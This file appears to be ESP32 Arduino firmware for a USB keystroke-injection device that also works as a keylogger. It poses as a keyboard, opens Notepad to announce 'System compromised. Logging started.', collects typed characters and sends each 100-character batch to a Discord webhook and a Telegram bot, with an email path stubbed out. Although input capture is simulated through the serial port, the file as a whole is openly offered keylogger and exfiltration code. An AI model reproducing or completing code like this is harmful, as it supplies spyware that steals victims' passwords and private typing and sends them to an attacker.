#include <WiFi.h>
#include <HTTPClient.h>
#include <USB.h>
#include <USBHIDKeyboard.h>
// Note: Email support usually requires an SMTP library like ESP-Mail-Client
// #include <ESP_Mail_Client.h>
// --- Configuration ---
const char* ssid = "YOUR_WIFI_SSID";
const char* password = "YOUR_WIFI_PASSWORD";
// Webhooks
const char* discordWebhookUrl = "https://discord.com/api/webhooks/YOUR_WEBHOOK_ID/YOUR_WEBHOOK_TOKEN";
const char* telegramBotToken = "YOUR_TELEGRAM_BOT_TOKEN";
const char* telegramChatId = "YOUR_CHAT_ID";
// USB HID for Ducky
USBHIDKeyboard Keyboard;
// Buffer for the Keylogger
String keystrokeBuffer = "";
const int BUFFER_MAX = 100; // Send when buffer hits this length
void setup() {
Serial.begin(115200);
// Initialize USB HID
Keyboard.begin();
USB.begin();
// Connect to WiFi (crucial for webhooks)
WiFi.begin(ssid, password);
int attempts = 0;
while (WiFi.status() != WL_CONNECTED && attempts < 20) {
delay(500);
attempts++;
}
// If connected, execute the initial Ducky Payload
if (WiFi.status() == WL_CONNECTED) {
delay(2000); // Give OS time to mount USB
executeInitialPayload();
}
}
void loop() {
// In a real hardware keylogger, you'd read from a USB Host port or PS/2 pins here.
// For this code, we simulate reading logged keys from the Serial port.
if (Serial.available() > 0) {
char c = Serial.read();
keystrokeBuffer += c;
// If buffer is full, exfiltrate
if (keystrokeBuffer.length() >= BUFFER_MAX) {
if (WiFi.status() == WL_CONNECTED) {
sendToDiscord(keystrokeBuffer);
sendToTelegram(keystrokeBuffer);
// sendEmail(keystrokeBuffer); // Requires SMTP setup
}
keystrokeBuffer = ""; // Clear buffer after sending
}
}
}
// --- Ducky Injection ---
void executeInitialPayload() {
// Example: Open Notepad (Windows)
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(100);
Keyboard.releaseAll();
delay(500);
Keyboard.print("notepad");
Keyboard.write(KEY_RETURN);
delay(1000);
Keyboard.print("System compromised. Logging started.");
Keyboard.write(KEY_RETURN);
}
// --- Exfiltration ---
void sendToDiscord(String data) {
HTTPClient http;
http.begin(discordWebhookUrl);
http.addHeader("Content-Type", "application/json");
String jsonPayload = "{\"content\": \"**Captured Data:**\\n```" + data + "```\"}";
int httpResponseCode = http.POST(jsonPayload);
http.end();
}
void sendToTelegram(String data) {
HTTPClient http;
String url = String("https://api.telegram.org/bot") + telegramBotToken + "/sendMessage";
http.begin(url);
http.addHeader("Content-Type", "application/json");
String jsonPayload = "{\"chat_id\": \"" + String(telegramChatId) + "\", \"text\": \"Captured Data:\\n" + data + "\"}";
int httpResponseCode = http.POST(jsonPayload);
http.end();
}
/*
// Requires ESP-Mail-Client library
void sendEmail(String data) {
SMTPSession smtp;
ESP_Mail_Session session;
// ... Configure SMTP host, port, login, password ...
SMTP_Message message;
// ... Configure sender, recipient, subject, textMsg ...
message.text.content = data.c_str();
// MailClient.sendMail(&smtp, &message);
}
*/